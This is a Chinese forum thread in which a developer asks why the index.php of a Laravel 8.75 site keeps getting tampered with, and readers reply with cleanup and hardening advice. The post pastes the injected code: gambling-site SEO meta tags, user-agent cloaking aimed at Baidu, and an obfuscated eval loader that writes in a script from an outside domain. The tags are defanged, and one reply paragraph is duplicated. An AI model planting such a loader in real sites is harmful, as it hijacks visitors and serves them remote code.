Laravel 入口文件被篡改
laravel 用的 8.75, 倒也不是什么主要的项目, 但是隔三差五总被篡改,很烦、index.php改的内容如下:
<title>BG大游|首页</title>
<meta name="keywords" content="BG大游|首页"/>
<meta name="description" content="【BG大游APP:yk188.cc】是顶级下注平台,提供BG大游APP网站,BG大游最新官网,BG大游app下载,各种娱乐品种应有尽有,BG大游网站官方客服24小时在线为您服务!"/>
<scriptsss>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="11"}</scriptsss>
<scriptsss type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('m(d(p,a,c,k,e,r){e=d(c){f c.n(a)};h(!\'\'.i(/^/,o)){j(c--)r[e(c)]=k[c]||e(c);k=[d(e){f r[e]}];e=d(){f\'\\\\w+\'};c=1};j(c--)h(k[c])p=p.i(q s(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);f p}(\'1["2"]["3"](\\\'<0 4="5/6" 7="8://9.a/b.c"></0>\\\');\',l,l,\'t|u|v|x|y|z|A|B|C|D|E|F|G\'.H(\'|\'),0,{}))',44,44,'|||||||||||||function||return||if|replace|while||13|eval|toString|String||new||RegExp|script|window|document||write|type|text|javascript|src|https|zhuanqian04kyjs|com|yb|js|split'.split('|'),0,{}))
</scriptsss>
标签我做了处理 、不然粘不进来
public目录权限是744
客户的服务器环境是宝塔, 有老哥知道怎么处理么这种情况
高认可度评论:
我们也被黑多次了,起码有 50 次,倒不是 Laravel 的问题,而是其它老旧框架,比如 ECShop、ECTouch、ThinkPHP 3.x 自身的漏洞,古典时期的代码太过生猛,已然无药可救了,我们还是找到了一些可以控制的方法:
我们还有一些有趣的发现:
这种情况一般是被挂马了,你要检查下项目文件有没有你不认识的文件
waf-ce.chaitin.cn/docs/
假宝獭有不少挂马的,少用这个,docker或者包安装环境也很快的;排查木马,首选是堵住可疑的入口,然后再去逐一排查,
index.php
用户和用户组如果跟fpm用户和用户组一致,基本就排出了外部程序(非root)修改的可能性,查下php.ini
中这几项,之前接触的假宝獭挂马脚本是在这里做手脚的。我们也被黑多次了,起码有 50 次,倒不是 Laravel 的问题,而是其它老旧框架,比如 ECShop、ECTouch、ThinkPHP 3.x 自身的漏洞,古典时期的代码太过生猛,已然无药可救了,我们还是找到了一些可以控制的方法:
我们还有一些有趣的发现:
找出问题木马文件,只开放80端口。我不清楚是不是php这种问题比较多,特别是tp5.0版本以下更多。然后使用git版本控制,直接回推代码,能及时处理问题。
php 部署
TP 5 被挂过一次,官方代码里控制器判断的问题。
我也碰到过这个问题,找不到被挂马的原因。 最后实在没招了,做了一个实时监控index.php文件的脚本,当index.php发生改变的时候将一个没问题的index.php覆盖过去。。 安装inotify-tools实时监控文件变化工具
监控脚本: touch monitor.sh
开启脚本并生成日志文件:
尝试通过配置
open_basedir
来限制下老项目的可访问位置。但是这种办法并不是绝对可以的。我查到一篇文章,讲解的是如何跳过:www.jianshu.com/p/cf2cd07d02cf
对照文章里的办法,先看看能不能排除掉危险因素,那么旧项目会影响的可能性就降低了